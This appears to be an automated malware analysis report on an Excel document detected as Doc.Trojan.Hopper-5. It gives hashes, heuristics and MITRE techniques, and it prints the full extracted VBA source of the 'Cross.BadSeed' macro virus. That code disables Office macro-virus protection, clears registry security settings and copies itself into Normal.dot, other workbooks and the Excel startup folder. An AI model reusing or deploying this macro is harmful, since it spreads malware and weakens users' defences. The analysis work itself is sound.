Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd4173fb34f6cd35…

MALICIOUS

Office (OLE)

23.5 KB Created: 1998-12-07 03:51:50 Authoring application: Microsoft Excel First seen: 2015-10-02
MD5: c573526d82d2d364248c7d8b3054c8e0 SHA-1: dbaf8a5599baccd95126b40421255edbf138616e SHA-256: fd4173fb34f6cd35b8885c4abc196d41f320a0d92a85c8969e653ae35516164c
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Excel document containing VBA macros. It exhibits self-replication behavior, disabling macro protection and copying its code to the Normal template and active document. This suggests an attempt to achieve persistence and potentially spread to other documents. The ClamAV detection 'Doc.Trojan.Hopper-5' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Hopper-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hopper-5
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WordObj = CreateObject("Word.Application")

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5096 bytes
SHA-256: 329e88ebe17ddf18384e22438acfd0c9a774792dba76993615e07d8e8942a480
Detection
ClamAV: Doc.Trojan.Hopper-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Cross.BadSeed v0.2 /1nternal
Private InRoutine As Boolean
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Options.ConfirmConversions = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountOfLines
        For i = 1 To 85
            NT.InsertLines i, AD.Lines(i, 1)
        Next
    Else
        Call WackExcel
    End If
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountOfLines
        For i = 1 To 85
            AD.InsertLines i, NT.Lines(i, 1)
        Next
    End If
    If Day(Now) = 15 And (Int((10 * Rnd) + 1) = 1) Then
        MsgBox ("Cross.BadSeed v0.2 /1nternal")
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" And InRoutine <> True Then
        InRoutine = True
        Call WackWord
        Workbooks.Add.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
        InfectBook ("Book1.")
        Workbooks("Book1.").Close SaveChanges:=True
    End If
    For i = 1 To Workbooks.Count
        InfectBook (i)
    Next
    If Day(Now) = 1 And (Int((15 * Rnd) + 1) = 1) Then
        MsgBox ("Cross.BadSeed v0.2 /1nternal")
    End If
End Sub
Private Sub InfectBook(Booknum)
        If Workbooks(Booknum).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(1, 1) <> "'<!--1nternal-->" Then
            For y = 1 To 85
                Workbooks(Booknum).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines y, ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(y, 1)
            Next
        End If
End Sub
Private Sub WackWord()
    Set WordObj = CreateObject("Word.Application")
    Set NT = WordObj.Templates(1).VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        WordObj.Options.SaveNormalPrompt = False
        NT.DeleteLines 1, NT.CountOfLines
        NT.InsertLines 1, "Public Sub DisableAV()"
        NT.InsertLines 2, " System.PrivateProfileString(" + Chr(34) + Chr(34) + ", " + Chr(34) + "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel" + Chr(34) + ", " + Chr(34) + "Options6" + Chr(34) + ") = " + Chr(34) + Chr(34)
        NT.InsertLines 3, " System.PrivateProfileString(" + Chr(34) + Chr(34) + ", " + Chr(34) + "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel" + Chr(34) + ", " + Chr(34) + "Options6" + Chr(34) + ") = " + Chr(34) + Chr(34)
        NT.InsertLines 4, "End Sub"
        WordObj.Run "'Normal.dot'!DisableAV"
        NT.DeleteLines 1, NT.CountOfLines
        For i = 1 To 85
            NT.InsertLines i, ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(i, 1)
        Next
    End If
    Set NT = Nothing
    WordObj.Quit
End Sub
Private Sub WackExcel()
    Dim xlApp As Object
    Set xlApp = CreateObject("Excel.Application")
    If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
        On Error Resume Next
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
        System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
        xlApp.Workbooks.Add.SaveAs xlApp.Application.StartupPath & "\Book1."
        For y = 1 To 85
            xlApp.Workbooks("Book1.").VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines y, NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(y, 1)
        Next y
        xlApp.Workbooks("Book1.").Close SaveChanges:=True
    End If
    xlApp.Application.Quit
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.